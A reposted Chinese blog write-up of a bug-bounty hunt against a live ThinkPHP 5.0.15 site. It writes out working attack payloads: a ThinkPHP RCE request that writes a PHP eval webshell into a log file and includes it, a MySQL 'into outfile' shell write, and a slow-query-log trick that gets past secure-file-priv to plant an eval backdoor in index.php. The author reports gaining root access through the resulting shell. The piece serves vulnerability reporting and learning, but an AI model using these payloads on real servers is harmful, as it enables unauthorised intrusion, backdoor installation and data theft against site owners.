Published 10月 25, 2022 by Kevin

轉載:FreeBuf.COM-記一次TP框架的公益SRC挖掘

記一次TP框架的公益SRC挖掘

昨天的用的Druid洩露的session進後臺拿shell還是覺得不太過癮,也沒學到啥新的知識。於是乎今天又找了幾個新的網站來試試,哈哈哈哈哈哈。

這次操作純屬菜雞練手,哪些地方可以改進還希望大佬們指出一下

目標網站:tp5.0.15+php7

1 · 網站後臺並發現是tp框架

首先找到的是網站後臺,但是有驗證碼。

掃目錄的時候沒有 404.html,說明網站沒有設置統一的報錯頁面,那麼應該就可以人為製造報錯來查看框架。

果然是熟悉的tp框架,直接祭上神器碰碰運氣,看能不能碰到tp版本的漏洞

工具顯示存在多個漏洞,其中有部分屬於誤報。

2 · 嘗試獲得shell

嘗試使用工具自帶的寫馬功能,但是實際操作之後發現無法連接。下載檔案查看後發現“> 和“< 變成了html中的實體字元。

學過一些java,本來準備查看工具的源碼,看看是自帶的馬的問題還是傳輸到伺服器之後被轉義了。但是github上的源碼檔是空的。

工具自帶的木馬:

     &lt;?php @eval($_POST['showshell'])?&gt;

嘗試使用工具爆出的資料庫帳號密碼加上 --os-shell 寫入shell

sqlmap -d mysql://name:passwd@ip:port/dbs_name

最後以失敗告終。。。。。

常規使用--os-shell的前提有三個:

1)網站必須是root許可權

 2)攻擊者需要知道網站的絕對路徑

 3GPCoffphp主動轉義的功能關閉

直接連接資料庫查看能不能找到管理員的帳號和密碼

找到一個像是主機的帳號、密碼表。

拿到了pe_admin表中的內容後,嘗試通過ssh連接伺服器。但是發現這台伺服器並沒有ssh埠,這就很疑惑了

nmap -sV -n ip

感覺自己有點傻,為什麼不直接去網站的資料庫找網站的後臺登陸帳號密碼呢。


最後成功進入後臺管理系統,不過這後臺功能有點少啊,根本找不到上傳點。看來還得想別的辦法。


3 · TP框架入手

看來只能轉換一下思路,從tp框架入手了。

這裡直接 phpinfo 看一下 disable_functions()禁用了哪些函數。phpinfo的成功執行也證明是有RCE漏洞的


在嘗試了幾種方法之後發現無果,而且由於 php版本為 7.3 導致無法使用 assert 來執行命令。

自己不會沒關係,網上肯定有人會。這裡開始去網上搜各個大佬的方法。最終經過各種嘗試,把希望寄在了將馬寫在日誌或者session

寫入shell檔到日誌中

/index.php?s=captcha

_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['shell']); ?>

包含日誌檔getshell

/index.php?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202201/25.log&shell=phpinfo();

經測試,成功寫入shell,但是此時只有極小的許可權,並且由於 disable_function 的原因,虛擬終端無法使用。

還有一種方法是可以使用載入遠端檔的方式去包含真正的shell。孩子要是有一台伺服器就好了



4 · 通過MYSQL寫入shell

突然想起來手裡還有資料庫的帳號和密碼,可以嘗試使用mysql手動寫shell

查看用戶及許可權

   SELECT user,host FROM mysql.user;

網站的絕對路徑已經通過tp報錯頁和phpinfo拿到了

select '<?php  @eval($_POST[showshell]);?>' into outfile 'D:\wwwroot\xxxxxxxx\public\index.php';

報錯是因為mysql配置的 --secure-file-priv 預設值為 null,而只有當其值非空的時候才才能使用 into oufile 寫入檔。


關於慢查詢:

當使用者操作的查詢語句超過系統的預設時間時,系統就會將此條語句紀錄到慢查詢日誌中。系統一般預設的時間是10


這裡我們使用慢查詢繞過 security-file-priv 寫入shell

查詢  slow query log 狀態

SHOW VARIABLES like '%slow_query_log%';

可以看到處於預設的關閉狀態。

啟用慢查詢:

set global slow_query_log=1;

指定慢查詢的日誌檔路徑及檔案名,

SET GLOBAL slow_query_log_file='

D:\wwwroot\xxxxx\public\index.php ';

寫入shell

select '<?php eval($_GET[showshell])?>' or SLEEP(11);


成功寫入。

這裡遇到一個小問題,windows上的蟻劍和哥斯拉不知道為什麼連不上去。可能是我這邊的環境變數有問題,最後使用kali裡的蟻劍成功連接shell並獲得root許可權


最後也是一個權重為0的站交不了補天,順利提交兩個srccnvd。雖然沒能提交到補天,不過也重在練手的過程吧。

原文網址:

本文作者:k1115h0t-记一次TP框架的公益SRC挖掘

 

      edit